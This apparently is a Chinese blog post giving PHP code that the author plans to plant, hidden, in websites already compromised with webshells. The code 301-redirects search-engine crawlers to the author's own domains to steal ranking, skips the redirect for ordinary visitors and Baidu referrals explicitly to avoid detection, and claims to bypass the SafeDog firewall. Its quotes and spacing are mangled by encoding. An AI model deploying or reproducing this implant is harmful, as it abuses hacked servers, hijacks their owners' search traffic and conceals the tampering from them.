放假了,在家沒事做新站,因為沒啥權重,打算抓幾個webshell站進行轉移新站,給新站提權重。所以寫了一個301轉移php代碼,可以判斷蜘蛛進行跳轉301,用戶訪問不會跳轉,這樣就可以防止被發現的概率!
功能說明:
1.判斷蜘蛛跳轉
2.支持多個域名隨機跳轉
3.判斷百度搜索進去不進行跳轉(防止被發現)
4.正常瀏覽器訪問不跳轉
5.過安全狗防護
使用方法:
以下代碼新建為:useragent.func.php(可以放在隱蔽的地方)
然后在你網站程序核心函數,例如:dedecms動態頁面可以在:index.php??進行引入自己新建的代碼為: require_once (dirname(__FILE__) . “/useragent.func.php”);
<?phperror_reporting(E_ALL^E_NOTICE^E_WARNING);$xieyi=”http://”;function?checkrobot($useragent=”){????????static?$kw_spiders?=?array(‘bot’,?‘crawl’,?‘spider’?,’slurp’,?‘sohu-search’,?‘lycos’,?‘robozilla’);????????static?$kw_browsers?=?array(‘msie’,?‘netscape’,?‘opera’,?‘konqueror’,?‘mozilla’);????????$useragent?=?strtolower(empty($useragent) ??$_SERVER[‘HTTP_USER_AGENT’] :?$useragent);????????if(strpos($useragent,?‘http://’) === false && dstrpos($useragent,?$kw_browsers))?return?false;????????if(dstrpos($useragent,?$kw_spiders))?return?true;????????return?false;}function?dstrpos($string,?$arr,?$returnvalue?= false) {????????if(empty($string))?return?false;????????foreach((array)$arr?as?$v) {????????????????if(strpos($string,?$v) !== false) {????????????????????????$return?=?$returnvalue???$v?: true;????????????????????????return?$return;????????????????}????????}????????return?false;}//網址隨機輸出,可以填寫多個隨機輸出轉移權重的網址$url[0] =?“http://demoo1.com”;$url[1] =?“http://demoo2.com”;$url[2] =?“http://demoo3.com”;$url[3] =?“http://demoo4.com”;$url[4] =?“http://demoo5.com”;$url[5] =?“http://demoo5.com”;srand ((double)microtime()*1000000);$randomnum?= rand(0,?count($url)-1);if(checkrobot()){????Header(“Location:$url[$randomnum]”);????????????????header(‘HTTP/1.1 301 Moved Permanently’);????????????????header(“Location:$url[$randomnum]”);????????????????exit;}//判斷的是百度,如果是百度點擊進去就不跳轉,防止被發現if(stristr?($_SERVER[‘HTTP_REFERER’],”baidu.com”)){????????????$file?=?file_get_contents(?$xieyi.$_SERVER[‘HTTP_HOST’].$_SERVER[‘REQUEST_URI’]);????????????????echo?$file;????????????????exit;????exit;?}?>